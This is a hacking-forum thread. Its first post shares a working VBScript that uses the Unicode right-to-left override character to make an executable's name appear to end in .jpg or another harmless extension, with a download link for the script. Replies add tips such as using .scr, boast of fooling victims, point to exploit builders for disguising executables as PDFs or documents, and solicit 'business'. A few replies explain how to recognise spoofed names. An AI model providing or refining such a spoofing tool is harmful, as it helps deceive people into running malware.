[Skil@h]

Hello guys, this script is a simple RTLO extension spoofing (click here for infos)

It allows you to make your .exe file look like any file you want, it is a only a visual trick, you can't send it as a .jpg for example.

How to build it : open the notepad, paste the code, save as .vbs file.

Code

Call Spoof
Sub Spoof()
dim filePath,fileName,exten,FileLen,revExten,dest,NewFileName
set fs = CreateObject("Scripting.FileSystemObject")
filePath=inputbox("Enter The FilePath")
exten=inputbox("Enter the Extension to spoof" & vbCrlf & _
"Example : .jpg, .mp3 , .avi , etc..")
fileName=fs.GetFileName(filepath)
filePath=fs.GetParentFolderName(filepath)
FileLen=Len(fileName)-4
Dim spclChar
spclChar = ChrW(8238)
revExten=StrReverse(exten)
NewFileName=inputbox("Enter the new file name max 5 chars")
dest=NewFileName & spclChar & revExten & mid(fileName,FileLen+2)

fs.copyFile filePath & "\" & Filename,filePath & "\" & dest
msgbox "Extension Spoofed Successfully!!",vbInformation
end sub

For the lazy ones, you can download the .vbs file directly here :
https://www.sendspace.com/file/zbrys1

No need for a virus scan, since it is a .vbs file, you just have to right click and hit "modify" to see the code.

I hope you all enjoy this funny tool :) ✌

[Aradura]

Nice, works pretty well. Changing the file extension to .src first works even better. If I set the name to img, I end up with imgrcs.jpg. However, if you then try to download that file in Chrome, it's a dirty snitch and says it might harm your computer and gives you the filename: img-gpj.scr. However, this has worked for me anyway, because people are dumb.

[trader_j0es]

Sounds good, I will play with it later

[exploid2017]

Or u can try just silent exploit builder to make ur exe to PDF or doc

[jay_slukky]

what's your skype ID , let do business

[parkjusub]

Or u can try just silent exploit builder to make ur exe to PDF or doc

hi you email ?

[Pete_the_Paper_Boat]

Can somebody explain to me why this works. I have "Show file extensions" on and it works..

What?

Sorry if I sound like an Idiot.

[SIM-3364521]

Can somebody explain to me why this works. I have "Show file extensions" on and it works..

What?

Sorry if I sound like an Idiot.

You can use a special unicode character that reverses the filename.
This is actually a feature in most explorers like the windows one but also nautilus etc. will work as well. But checking the filename in console will show you the special character used as [] and the filename in normal direction. If you go to properties you will see however that its still an executable file.

Just be aware of files that look like this : exe.
egs:
SexyHexe.png

[Toxic Hacker]

I dont understand how to use it hmm..

[ZaranTetoski]

Very nice work!
Thanks for the sharing!

[aviator22]

Great tool Skil@h thank you for share.

For the others who are looking to HIDE the exe behind a pdf file etc, you dont need a spoofer! You need an exploit. If you dont know what I am talking about, feel free to use the search button or ask :)

[Bernadette vd Molen]

Doesn't work anymore sadly

[Tandloosi]

This is really cool, thank you!!

[rowenalucerodato]

This is kinda old, but i'm sure the concept can still work

[binarycoder]

This is kinda old, but i'm sure the concept can still work

it's an old method that has been discovered more than 10 years ago. and many antivirus block any file spoofed with this method.